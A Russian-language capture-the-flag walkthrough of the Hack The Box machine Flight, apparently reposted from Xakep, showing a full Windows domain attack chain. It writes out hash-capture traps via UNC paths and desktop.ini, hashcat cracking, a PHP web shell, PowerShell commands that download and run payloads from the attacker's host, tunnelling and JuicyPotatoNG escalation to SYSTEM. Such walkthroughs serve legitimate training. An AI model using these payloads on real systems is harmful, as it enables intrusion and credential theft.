Хакер - HTB Flight. Повышаем привилегии в Windows
hacker_freiRalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
- SeImpersonatePrivilege
В этом райтапе я покажу, как похищать пароли пользователей Windows разными способами, после чего мы захватим веб‑сервер, пройдя по цепочке уязвимостей, которые позволят нам раз за разом повышать привилегии.
Наша цель — получить права суперпользователя на тренировочной машине Flight с площадки Hack The Box. Машина оценена как сложная.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.187 flight.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
В результатах сканирования видим много открытых портов, что типично для Windows:
- 53 — служба DNS;
- 80 (HTTP) — веб‑сервер Apache 2.4.52;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP/RPC/EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
Анонимная аутентификация нигде не доступна, поэтому идем на веб‑сервер.
ТОЧКА ВХОДА
На стартовой странице ничего найти не удалось, поэтому необходимо расширить область тестирования. Самый очевидный способ — перебором поискать скрытые домены и каталоги. Я это делаю при помощи сканера ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists);-t
— количество потоков;-u
— URL;-fs
— фильтр, исключающий страницы по размеру;-H
— HTTP-заголовок.
Место перебора помечаем словом FUZZ.
Команда получается следующая:
ffuf -u 'http://flight.htb' -w subdomains-top1million-110000.txt -H "Host: FUZZ.flight.htb" -t 256 --fs 7069
Находим новый поддомен и вносим его в файл /etc/hosts
.
10.10.11.187 flight.htb school.flight.htb
Обрати внимание, что загружаемая страница указывается в качестве параметра view
. Проверим, нет ли здесь уязвимости LFI, и укажем в параметре view
файл index.php
.
http://school.flight.htb/index.php?view=index.php
Видим на странице какой‑то код на PHP. Стоит ознакомиться с ним поближе.
Мы узнаем путь к файлам сайта, а также используемые для обработки параметра фильтры. Так как не фильтруется последовательность //
, мы можем заставить веб‑сервер обратиться к любому удаленному серверу. При этом Windows попытается авторизоваться на указанном ресурсе, и мы получим NetNTLMv2-хеш пароля пользователя веб‑сервера. Чтобы ловить такие хеши, запускаем на локальном хосте утилиту Responder.
sudo responder -v -I tun0
Теперь указываем свой адрес и ловим хеш.
http://school.flight.htb/index.php?view=//10.10.14.16/share
Отправляем хеш на перебор, в качестве режима hashcat (параметр -m
) указываем 5600, соответствующий хешу NetNTLMv2.
hashcat -m 5600 5600.hash rockyou.txt
Проверяем учетные данные на примере службы SMB с помощью CrackMapExec.
crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13'
Учетные данные верны, поэтому получаем доступные сетевые ресурсы и список пользователей.
crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users --shares
ТОЧКА ОПОРЫ
Давай подключимся к общему ресурсу Web
и просмотрим его содержимое.
impacket-smbclient flight.htb/svc_apache:'S@Ss!K@*t13'@10.10.11.187
Ничего, кроме каталогов сайтов, там не находим. Однако текущая учетная запись — служебная, и у пользователя, скорее всего, есть еще и основная. Попробуем зайти в другие учетки с тем же паролем.
crackmapexec smb 10.10.11.187 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
Получаем еще одну подконтрольную учетную запись. Теперь проверяем, какие общие каталоги доступны новому пользователю.
crackmapexec smb 10.10.11.187 -u 'S.Moon' -p 'S@Ss!K@*t13' --shares
Для записи доступен каталог Shared
. Больше ничего найти не удалось, ресурс оказался пустым. Тогда возникла идея похитить NetNTLMv2-пароли другим способом. В этот раз будем использовать файл desktop.ini
, в котором параметр IconResource
указывает на наш внешний ресурс.
[.ShellClassInfo]
IconResource=\\10.10.14.51\share
Любой пользователь, который просмотрит этот каталог, автоматически обратится к нашему ресурсу и при этом предоставит учетные данные.
impacket-smbclient flight.htb/S.Moon:'S@Ss!K@*t13'@10.10.11.187
Спустя некоторое время после загрузки файла получаем учетные данные пользователя c.bum
.
sudo responder -v -I tun0
Брутим полученный хеш тем же методом, что и раньше.
hashcat -m 5600 5600.hash rockyou.txt
Таким образом получаем еще одну подконтрольную учетную запись. И снова просматриваем доступные в новом контексте сетевые ресурсы SMB.
crackmapexec smb 10.10.11.187 -u 'c.bum' -p 'Tikkycoll_431012284' --shares
Теперь у нас есть право записи в каталог Web
, а это значит, что мы можем поместить туда веб‑шелл и получить доступ к хосту. Будем использовать самый простой шелл на PHP.
<?php echo system($_GET['cmd']); ?>
Загружаем его в каталог сайта school и пробуем выполнить команду whoami
.
impacket-smbclient flight.htb/c.bum:'Tikkycoll_431012284'@10.10.11.187
curl 'http://school.flight.htb/shell.php?cmd=whoami'
ПРОДВИЖЕНИЕ
Теперь пробросим реверс‑шелл, для чего будем использовать инструмент Villain. После установки и запуска сразу генерируем нагрузку.
generate os=windows lhost=tun0
Записываем сгенерированную нагрузку в файл (у меня r.ps1
) и запускаем на удаленном хосте через PowerShell.
curl 'http://school.flight.htb/shell.php?cmd=powershell.exe+IEX(New-Object%20Net.WebClient).DownloadString(%27http://10.10.14.51/r.ps1%27)'
Переименуем сессию и получим шелл.
alias shell1 09ca02b5-095cd2df-b11c673a
shell shell1
На рабочем столе нет флага, а значит, это не целевой пользователь. Так как мы знаем учетные данные пользователя c.bum
, то можем его имперсонировать. Для этого используем PowerShell-версию утилиты RunasCs. Загружаем скрипт со своего хоста, передаем учетные данные и выполняемую команду.
IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.51/Invoke-RunasCs.ps1")
Invoke-RunasCs c.bum Tikkycoll_431012284 whoami
Все получилось, поэтому кидаем другой реверс‑шелл в контексте нового пользователя.
Invoke-RunasCs c.bum Tikkycoll_431012284 "powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.51/r.ps1')"
Как только пришел бэкконнект, меняем имя сессии, получаем шелл и проверяем флаг.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Получаем полную информацию о пользователе, чтобы понимать контекст, в котором мы работаем.
whoami /all
Пользователь состоит в группе WebDevs
, при этом на диске C
находим каталог inetpub\development
.
Структура каталогов типична для веб‑сервера Microsoft IIS, хотя изначально мы работали в Apache. Просмотрим список используемых портов.
netstat /an
Находим веб‑порт 8000. Чтобы получить доступ к нему, нужно построить туннель, для чего будем использовать chisel. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse
) на порт 4321 (параметр -p
).
./chisel.bin server --reverse -p 4321
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля — socks
.
.\c.exe client 10.10.14.51:4321 R:socks
В логах сервера должны увидеть сообщение о создании сессии.
Для туннелирования трафика настроим proxychains, для этого в файле конфигураций /etc/proxychains.conf
сделаем такую запись:
socks5 127.0.0.1 1080
Сканируем порты 80 и 8000 и убеждаемся, что за них отвечают разные веб‑серверы.
proxychains -q nmap -p80,8000 -A -Pn 127.0.0.1
Так как мы в группе разработчиков, мы можем записывать в каталог сайта. Записываем любой ASPX-шелл (в интернете их много) и заходим через браузер.
wget http://10.10.14.51/shell.aspx -OutFile C:\inetpub\development\s.aspx
SeImpersonatePrivilege
Так как мы работаем от имени веб‑сервера IIS, у нас активирована привилегия SeImpersonatePrivilege
. Как говорит Microsoft:
Присвоение пользователю права «Олицетворять клиента после проверки подлинности» разрешает программам, запущенным от имени данного пользователя, олицетворять клиента. Использование данного параметра предотвращает олицетворение неавторизованными серверами клиентов, подключающихся к этим серверам с помощью процедур RPC или именованных каналов.
Дело в том, что мы можем поднять свои права до SYSTEM
, используя один из эксплоитов семейства Potato. Я взял последний — JuicyPotatoNG. Запускаем программу, а в качестве целевого процесса выбираем PowerShell, запускающий нагрузку с нашего хоста.
C:\Users\Public\Downloads\jp.exe -t * -p "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-c IEX(New-ObjectNet.WebClient).DownloadString('http://10.10.14.51:88/r3.ps1')"
Видим, что в Villain появилась новая сессия в контексте системы.
Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei